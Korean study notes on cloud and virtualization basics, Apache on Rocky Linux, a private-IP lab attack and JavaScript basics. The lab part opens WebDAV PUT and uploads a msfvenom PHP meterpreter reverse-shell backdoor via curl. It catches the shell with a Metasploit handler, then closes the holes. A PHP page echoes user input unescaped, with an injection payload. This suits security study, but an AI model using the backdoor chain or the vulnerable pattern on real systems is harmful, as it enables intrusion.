조직 내부의 서버나 데이터 센터에 직접 설치하고 운영하는 방식
서버나 데이터베이스 같은 IT 자산을 직접 소유하고 관리하는 환경
서버, 데이터베이스 등 IT 인프라를 클라우드 제공자(AWS, Azure, GCP 등)의 데이터 센터에
호스팅하는 방식으로, 필요한 만큼만 사용하고 그에 따라 요금을 지불하는 유연한 모델
서버 인프라를 구축할 때 일반적으로 리눅스 기반 서버에 도커(Docker)를 사용하여 컨테이너화하고, 이를 쿠버네티스(Kubernetes)로 관리하는 방식이 주로 사용
단점
자원 낭비: 애플리케이션 간 자원 경쟁으로 성능 저하 발생
의존성 문제: 애플리케이션이 특정 OS나 하드웨어에 종속되어 호환성 문제 발생
확장성 부족: 수평적 확장이 어려워 물리적 자원 추가에 한계
운영체제 관리 복잡성: OS 유지보수 및 관리가 복잡하고 부담스러움
단점
성능 저하: 가상화 환경에서는 하이퍼바이저가 하드웨어 자원을 중개하기 때문에, 직접 하드웨어에 접근하는 물리적 서버에 비해 성능이 떨어질 수 있다
복잡성 증가: 가상머신(VM)을 여러 개 운영하면, 각 VM에 대해 운영체제와 애플리케이션을 개별적으로 관리해야 하기 때문에 시스템 관리가 복잡해진다
높은 자원 소모: 각 VM이 독립된 운영체제를 실행하므로, 메모리, CPU 등의 자원이 많이 소모된다
특히 여러 VM을 실행하면 리소스가 금방 부족해질 수 있다
보안 취약성: 하이퍼바이저 자체가 공격 대상이 될 수 있으며, 하나의 VM에서 보안 문제가 발생하면 다른 VM에 영향을 미칠 수 있다
라이선스 비용: 가상화 소프트웨어와 VM을 관리하기 위한 추가적인 라이선스 비용이 발생할 수 있다
단점
보안 취약성: 컨테이너는 호스트 운영체제를 공유하므로, 하나의 컨테이너에서 보안 문제가 발생하면 다른 컨테이너나 호스트 시스템에 영향을 미칠 수 있다
복잡한 네트워크 구성: 여러 컨테이너가 서로 통신해야 하는 복잡한 네트워크 설정이 필요하며, 관리가 까다로울 수 있다
퍼포먼스 오버헤드: 가상머신(VM)에 비해 경량이지만, 여전히 운영체제를 일부 공유하기 때문에 네이티브 환경보다는 성능이 약간 떨어질 수 있다
데이터 관리의 어려움: 컨테이너는 일시적(스테이트리스)인 특성이 강하기 때문에, 지속적인 데이터 관리(스테이트풀)를 위한 별도의 전략이 필요하다
호환성 문제: 컨테이너화된 애플리케이션이 특정 하드웨어나 OS 환경에서 호환성 문제를 겪을 수 있다
VPC(Virtual Private Cloud)는 가상 사설 클라우드 네트워크로, 퍼블릭 클라우드 환경에서 사용자가 자신의 독립된 네트워크 환경을 설정하고 관리할 수 있도록 하는 서비스
VPC는 클라우드 제공자(AWS, Azure, Google Cloud 등)의 물리적 인프라 위에 격리된 가상 네트워크를 구축하는 방식으로 작동
리눅스 상 기본 웹 경로
/var/www/html
systemctl status httpd //상태 확인
systemctl start httpd //활성화 안 되어있을 시
systemclt enable httpdc //활성화 안 되어있을 시
getenforce //시스템 보안 설정 확인
sudo firewall-cmd --list-all //방화벽 설정 확인
sudo firewall-cmd --add-service=http --permanent
서버 ip로 접속
서버ip/data를 했을 시
/data해서 접근하는 것을 막기 위해
sudo vim /etc/httpd/conf/httpd.conf
에서 코드 수정
<Directory "/var/www/html">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.4/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
Options Indexes FollowSymLinks에서 Indexes를 지우면 된다
sudo vim /etc/resolv.conf여기서 dns주소를 바꿔도 바로 적용이 되지는 않음
실제 시스템이 인식하는 주소도 바꿔줘야함
sudo nmtui
여기서도 내 dns주소를 바꿔줘야한다
sudo setenforce 0
getenforce > Permissive 나오는지 확인
sudo setenforce 명령어는
SELinux(Security-Enhanced Linux)의 실행 모드를 설정하는 명령어
SELinux는 리눅스 시스템의 보안 정책을 강화하는 일종의 접근 제어 시스템
setenforce 명령어는SELinux 모드를 강제(enforcing) 또는 허용(permissive) 모드로 전환할 수 있게 해준다
주요 SELinux 모드
Enforcing: SELinux가 강제 모드로 동작하며, 정책에 위배되는 모든 접근 시도를 차단
이 모드에서 SELinux는 완전히 활성화되어 보안 정책을 엄격하게 적용Permissive: SELinux가 허용 모드로 동작하며, 정책을 위반하는 접근 시도는 기록되지만 차단하지 않음
이 모드는 주로 정책을 디버깅하거나 테스트할 때 사용Disabled: SELinux가 완전히 비활성화된 상태
이 상태에서는 setenforce 명령어를 사용할 수 없다
- 로키리눅스 실행
sudo vim /etc/httpd/conf/httpd.conf
- 파일 코드 추가
LoadModule dav_module modules/mod_dav.so LoadModule dav_fs_module modules/mod_dav_fs.so <Directory "/var/www/html/data"> options Indexes FollowSymLinks AllowOverride None Require all granted Dav on <Limit PUT> Require all granted </Limit> </Directory>
- 설정 후 재시작
sudo systemctl restart httpd
nikto -h http://공격대상(로키리눅스ip)/폴더
nikto -h http://192.168.100.131/data
백도어 생성
msfvenom -p/meterpreter/reverse_tcp lhost=공격자ip(칼리리눅스)
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.100.133 lport=4444 -f raw/*<?php부터 코드 끝까지 복사하여
shell.php라는 파일 생성
1번째 방법
curl -T shell.php http://192.168.100.131/data/shell.php
2번째 방법
cadaver http://192.168.100.131/data/put shell.php
결과

해당 명령어들을 통해, 내가 설정한 리스너(192.168.100.133 IP, 4444 포트)로 리버스 쉘을 받을 수 있는 환경을 만드는 과정
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.100.133
set lport 4444
exploit
use exploit/multi/handler:
Metasploit에서 사용할 모듈을 선택하는 명령
handler 모듈은 공격 대상이 리버스 쉘을 보내왔을 때 이를 받아주는 역할
set payload php/meterpreter/reverse_tcp:
공격에 사용할 페이로드를 설정
php/meterpreter/reverse_tcp는 PHP 기반 웹서버에서 리버스 TCP 연결을 통해 Meterpreter 세션을 생성
이를 통해 공격자는 피해자의 시스템을 원격으로 제어할 수 있다
set lhost 192.168.100.133:
LHOST는 공격자의 IP 주소를 설정하는 명령어
즉, 공격 대상이 리버스 쉘을 보낼 IP 주소로 192.168.100.133을 지정
set lport 4444:
LPORT는 공격자가 리버스 연결을 받을 포트
4444 포트를 사용하도록 설정한 것
exploit:
설정한 페이로드와 리스너를 시작하고, 리버스 쉘을 기다리는 명령어
피해자가 페이로드를 실행하면 이 명령을 통해 공격자의 시스템으로 연결
공격 예시
sudo vim /etc/php.ini
sudo systemctl restart php-fpm
sudo vim /etc/httpd/conf/httpd.conf
sudo systemctl restart httpd
sudo vim /var/www/html/info.php
info.php
<?php
phpinfo()
?>
phpinfo를 통해 php 설정이 잘 되었는지 확인
sudo setenforce 1
sudo chmod 755 /var/www/html/
Limit Put 제거(httpd.conf)
Indexes 제거
CSS 선택자 종류
/* 전체 선택자 */
* {
color: blue;
}
/* 태그 선택자 */
h1 {
color: red;
}
/* class 선택자 */
.text_c {
color: green;
}
/* id 선택자 */
#text_c2 {
color: yellow;
}
규모⬅️
전체 태그 클래스 아이디 인라인스타일
우선순위 ➡️
css_injection_1.php파일 생성
해당 파일은 form태그에서 입력받은 값을 php 코드를 통해 보여줌
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
body {
background-color: lightblue;
}
h1 {
color: green;
}
.user-input {
color: black;
font-size: 20px;
}
</style>
</head>
<body>
<h1>Welcome to our SITE</h1>
<form action="" method="get">
<label for="username">Enter your name:</label>
<input id="username" name="username" type="text">
<input type="submit" value="search">
</form>
<!-- 입력 내용이 그대로 드러남 -->
<div class="user-input">
<p>Welcome, <?php echo $_GET['username']; ?>!</p>
</div>
</body>
</html>

해당 결과 창 url에 밑 코드를 입력하면 CSS Injection이 적용된다
><style>body{background-color: red !important;}</style>

문자열은
""로 묶어준다
""를 중복해서 사용할 경우\를 사용하여\"문자열\"로 사용
개행:\n
탭:\t
백슬래시 표현:\\문자열끼리의 합 가능
alert("he" + "like" + "pizza");문자열 반복
alert("he".repeat(3));
he3번 반복
파이썬과 쓰는 방법이 비슷
alert(30);
alert(3.14);
alert(3+4);몫: alert(Math.floor(17/3));
나머지: alert(17%3);
alert(3>5);Flase
alert(3<5);True
alert(1 > "가방");False
alert("가방" = "가방");True
alert(true > flase);True
var pi; pi = 3.14; alert(pi);
타입확인
alert(typeof pi)
<script> // window.onload 스크립트 전부 실행 후 마지막에 실행 window.onload = function(){ var list = ''; list += '<ul>'; list += ' <li>hello</li>'; list += ' <li>js</li>'; list += '</ul>'; document.body.innerHTML = list } </script>
string
alert(typeof ('string')); alert(typeof 'string');
number
alert(typeof 123);
boolean
alert(typeof true);
function
alert(typeof (function() {}))
object, 파이썬의 딕셔너리같은 것
alert(typeof ({}));
undefined, 변수가 정의되지 않음
alert(typeof (apple));
prompt() 함수는 입력을 받을 때 사용(가급적 변수에 넣는 형태)
var input = prompt(); alert(input);var input2 = prompt('message'); alert(input2);confirm 함수는 확인 취소가 뜨고 true나 false를 반환
var tf = confirm('수락하시겠습니까?'); alert(tf);
배열 안에는 함수, 문자열, 오브젝트, 배열이 들어갈 수 있다
var array = [273, 'string', true, function(){}, {}, [273, 'str2']];
if (조건) {} else (조건) {} else if (조건) {}
switch(true) { case (hour == 0): alert("정각"); break; case (hour ==1): alert("1시"); break; }
while(조건문) {수행할 문장;}
while (true) { alert("무한반복"); }